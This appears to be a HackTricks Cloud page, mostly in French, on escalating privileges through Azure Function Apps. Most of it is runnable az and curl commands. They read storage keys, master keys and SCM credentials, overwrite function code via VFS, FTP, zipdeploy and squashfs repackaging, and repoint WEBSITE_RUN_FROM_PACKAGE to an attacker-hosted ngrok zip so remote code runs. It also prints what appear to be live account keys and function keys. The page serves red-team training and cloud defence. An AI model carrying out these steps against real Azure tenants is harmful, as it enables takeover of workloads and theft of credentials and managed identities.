Az - Functions App Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Function Apps
Check the following page for more information:
Bucket Read/Write
Avec des permissions de lecture sur les containers Ă lâintĂ©rieur du Storage Account qui stocke les donnĂ©es de la function, il est possible de trouver diffĂ©rents containers (personnalisĂ©s ou avec des noms prĂ©dĂ©finis) qui peuvent contenir le code exĂ©cutĂ© par la function.
Une fois que vous trouvez oĂč le code de la function est situĂ©, si vous avez des permissions dâĂ©criture dessus, vous pouvez faire exĂ©cuter nâimporte quel code par la function et escalader les privilĂšges vers les managed identities attachĂ©es Ă la function.
File Share(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Le code de la function est gĂ©nĂ©ralement stockĂ© dans un file share. Avec un accĂšs suffisant, il est possible de modifier le fichier de code et forcer la function Ă charger du code arbitraire, permettant dâescalader les privilĂšges vers les managed identities attachĂ©es Ă la Function.
Cette méthode de déploiement configure habituellement les paramÚtres WEBSITE_CONTENTAZUREFILECONNECTIONSTRING et WEBSITE_CONTENTSHARE que vous pouvez obtenir depuis
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Ces configs contiendront la Storage Account Key que la Function peut utiliser pour accéder au code.
Caution
Avec suffisamment de permissions pour se connecter au File Share et modify the script qui tourne, il est possible dâexĂ©cuter du code arbitraire dans la Function et dâescalate privileges.
The following example uses macOS to connect to the file share, but itâs recommended to check also the following page for more info about file shares:
# Username is the name of the storage account
# Password is the Storage Account Key
# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py
open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
function-releases(WEBSITE_RUN_FROM_PACKAGE)
Il est aussi courant de trouver les archives zip dans le dossier function-releases du conteneur Storage Account que la function app utilise, dans un conteneur généralement appelé function-releases.
Généralement, cette méthode de déploiement définira la configuration WEBSITE_RUN_FROM_PACKAGE dans :
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
Cette configuration contient généralement une SAS URL pour télécharger le code depuis le Storage Account.
Caution
Avec des permissions suffisantes pour se connecter au blob container qui contient le code en zip, il est possible dâexĂ©cuter du code arbitraire dans la Function et dâescalader les privilĂšges.
github-actions-deploy(WEBSITE_RUN_FROM_PACKAGE)
Comme dans le cas précédent, si le déploiement est effectué via Github Actions, il est possible de trouver le dossier github-actions-deploy dans le Storage Account contenant un zip du code et une SAS URL vers le zip dans le paramÚtre WEBSITE_RUN_FROM_PACKAGE.
scm-releases(WEBSITE_CONTENTAZUREFILECONNECTIONSTRINGandWEBSITE_CONTENTSHARE)
Avec des permissions pour lire les containers Ă lâintĂ©rieur du Storage Account qui stocke les donnĂ©es de la Function, il est possible de trouver le container scm-releases. LĂ , il est possible de trouver la derniĂšre release en Squashfs filesystem file format et donc de lire le code de la Function :
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table
# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table
# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip
## Even if it looks like the file is a .zip, it's a Squashfs filesystem
# Install
brew install squashfs
# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
Il est Ă©galement possible de trouver les master and functions keys stockĂ©es dans le storage account, dans le container azure-webjobs-secrets, Ă lâintĂ©rieur du dossier <app-name>, dans les fichiers JSON qui sây trouvent.
Caution
Avec des autorisations suffisantes pour se connecter au blob container qui contains the code in a zip extension file (qui en réalité est un
squashfs), il est possible dâexĂ©cuter du code arbitraire dans la Function et dâescalader les privilĂšges.
# Modify code inside the script in /tmp/fs adding your code
# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip -b 131072 -noappend
# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
Microsoft.Web/sites/host/listkeys/action
Cette permission permet de lister les clés function, master et system, mais pas la clé host, de la fonction spécifiée avec:
az functionapp keys list --resource-group <res_group> --name <func-name>
Avec la master key, il est aussi possible dâobtenir le code source via une URL comme :
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Access
curl "<script-href>?code=<master-key>"
# Python function app example
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
Et pour modifier le code qui est exécuté dans la fonction avec :
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
# NodeJS function app example
curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" \
--data-binary @/tmp/index.js \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
Microsoft.Web/sites/functions/listKeys/action
Cette permission permet dâobtenir la clĂ© par dĂ©faut de la fonction spĂ©cifiĂ©e avec :
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
Appeler la fonction en utilisant la clé par défaut obtenue :
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
Microsoft.Web/sites/host/functionKeys/write
Cette permission permet de créer/mettre à jour une clé de fonction de la fonction spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Microsoft.Web/sites/host/masterKey/write
Cette permission permet de créer/mettre à jour une master key pour la fonction spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Caution
Nâoubliez pas quâavec cette key vous pouvez Ă©galement accĂ©der au source code et le modifier comme expliquĂ© prĂ©cĂ©demment !
Microsoft.Web/sites/host/systemKeys/write
Cette permission permet de créer/mettre à jour un system function key pour la function spécifiée avec :
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
Utilisez la clé :
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
# Ejemplo: Acceso a Event Grid webhooks
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<system-key>"
Microsoft.Web/sites/config/list/action
Cette permission permet dâobtenir les paramĂštres dâune fonction. Dans ces configurations, il peut ĂȘtre possible de trouver les valeurs par dĂ©faut AzureWebJobsStorage ou WEBSITE_CONTENTAZUREFILECONNECTIONSTRING qui contiennent une clĂ© de compte permettant dâaccĂ©der au blob storage de la fonction avec des autorisations COMPLETES.
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
De plus, cette permission permet Ă©galement dâobtenir le SCM username and password (si activĂ©s) avec :
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/write
Ces permissions permettent de lister les valeurs de configuration dâune fonction comme nous lâavons vu prĂ©cĂ©demment, et aussi de modifier ces valeurs. Câest utile car ces paramĂštres indiquent oĂč se trouve le code Ă exĂ©cuter Ă lâintĂ©rieur de la fonction.
Il est donc possible de définir la valeur du paramÚtre WEBSITE_RUN_FROM_PACKAGE pointant vers un fichier zip accessible via une URL contenant le nouveau code à exécuter dans une application web :
- Commencez par récupérer la configuration actuelle
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
- Créez le code que vous voulez que la fonction exécute et hébergez-le publiquement
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
- Modifiez la fonction, conservez les paramÚtres précédents et ajoutez à la fin la config
WEBSITE_RUN_FROM_PACKAGEpointant vers lâURL contenant le zip avec le code.
Lâexemple suivant montre mes propres paramĂštres â vous devrez remplacer les valeurs par les vĂŽtres, notez quâĂ la fin la valeur "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip" indique oĂč jâhĂ©bergeais lâapplication.
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
Microsoft.Web/sites/hostruntime/vfs/write
Avec cette permission, il est possible de modifier le code dâune application via la console web (ou via le point de terminaison API suivant) :
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
# Through the SCM URL (using Azure permissions or SCM creds)
az rest --method PUT \
--url "https://consumptionexample.scm.azurewebsites.net/api/vfs/site/wwwroot/HttpExample/index.js" \
--resource "https://management.azure.com/" \
--headers "If-Match=*" \
--body 'module.exports = async function (context, req) {
context.log("JavaScript HTTP trigger function processed a request. Training Demo 2");
const name = (req.query.name || (req.body && req.body.name));
const responseMessage = name
? "Hello, " + name + ". This HTTP triggered function executed successfully. Training Demo 2"
: "This HTTP triggered function executed successfully. Pass a name in the query string or in the request body for a personalized response. Training Demo 2";
context.res = {
// status: 200, /* Defaults to 200 */
body: responseMessage
};
}'
Microsoft.Web/sites/publishxml/action, (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write)
Cette permission permet de lister tous les profils de publication qui contiennent essentiellement des basic auth credentials :
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
Une autre option serait de définir vos propres creds et de les utiliser :
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
- Si les identifiants REDACTED
Si vous voyez que ces identifiants sont REDACTED, câest parce que vous devez activer lâoption SCM basic authentication et pour cela vous avez besoin de la seconde permission (Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'
# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
- Méthode SCM
Ensuite, vous pouvez accĂ©der Ă lâURL SCM de votre function app avec ces basic auth credentials et obtenir les valeurs des env variables :
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
Notez que le nom dâutilisateur SCM est gĂ©nĂ©ralement le caractĂšre â$â suivi du nom de lâapplication, donc : $<app-name>.
Vous pouvez aussi accéder à la page web depuis https://<app-name>.scm.azurewebsites.net/BasicAuth
Les valeurs des settings contiennent la AccountKey du storage account qui stocke les données de la function app, ce qui permet de contrÎler ce storage account.
- Méthode FTP
Connectez-vous au serveur FTP en utilisant :
# macOS install lftp
brew install lftp
# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/
# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
Notez que le FTP username est généralement au format <app-name>\$<app-name>.
Microsoft.Web/sites/hostruntime/vfs/read
Cette permission permet de lire le code source de lâapp via le VFS :
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
Microsoft.Web/sites/functions/token/action
Avec cette permission il est possible de get the admin token qui peut ensuite ĂȘtre utilisĂ© pour rĂ©cupĂ©rer la master key et donc accĂ©der et modifier the functionâs code.
Cependant, lors de mes derniers contrĂŽles aucun token nâa Ă©tĂ© retournĂ©, donc il se peut quâil soit dĂ©sactivĂ© ou ne fonctionne plus, mais voici comment procĂ©der :
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"
# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
Microsoft.Web/sites/config/write, (Microsoft.Web/sites/functions/properties/read)
Ces permissions permettent dâactiver des fonctions qui pourraient ĂȘtre dĂ©sactivĂ©es (ou de les dĂ©sactiver).
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
Il est Ă©galement possible de vĂ©rifier si une fonction est activĂ©e ou dĂ©sactivĂ©e Ă lâURL suivante (en utilisant lâautorisation entre parenthĂšses) :
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
Microsoft.Web/sites/config/write, Microsoft.Web/sites/config/list/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/read)
Avec ces permissions il est possible de modifier le conteneur exĂ©cutĂ© par une function app configurĂ©e pour exĂ©cuter un container. Cela permettrait Ă un attaquant de tĂ©lĂ©verser une azure function container app malveillante sur docker hub (par exemple) et de faire en sorte que la function app lâexĂ©cute.
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
Microsoft.Web/sites/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action, Microsoft.App/managedEnvironments/join/action, (Microsoft.Web/sites/read, Microsoft.Web/sites/operationresults/read)
Avec ces permissions, il est possible dâattacher une nouvelle user managed identity Ă une function. Si la function Ă©tait compromise, cela permettrait dâescalader les privilĂšges sur nâimporte quelle user managed identity.
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
Remote Debugging
Il est aussi possible de se connecter pour dĂ©boguer une Azure function en cours dâexĂ©cution comme explained in the docs. Cependant, par dĂ©faut Azure dĂ©sactivera cette option au bout de 2 jours si le dĂ©veloppeur lâoublie, afin dâĂ©viter de laisser des configurations vulnĂ©rables.
Il est possible de vérifier si une Function a le débogage activé avec:
az functionapp show --name <app-name> --resource-group <res-group>
En disposant de la permission Microsoft.Web/sites/config/write, il est également possible de mettre une fonction en mode débogage (la commande suivante nécessite aussi les permissions Microsoft.Web/sites/config/list/action, Microsoft.Web/sites/config/Read et Microsoft.Web/sites/Read).
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
Changer le repo Github
Jâai essayĂ© de changer le repo Github dâoĂč le dĂ©ploiement a lieu en exĂ©cutant les commandes suivantes, mais mĂȘme si cela a changĂ©, le nouveau code nâa pas Ă©tĂ© chargĂ© (probablement parce quâil attend que la Github Action mette Ă jour le code).
De plus, la managed identity federated credential wasnât updated pour autoriser le nouveau repository, donc cela ne semble pas trĂšs utile.
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1
# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

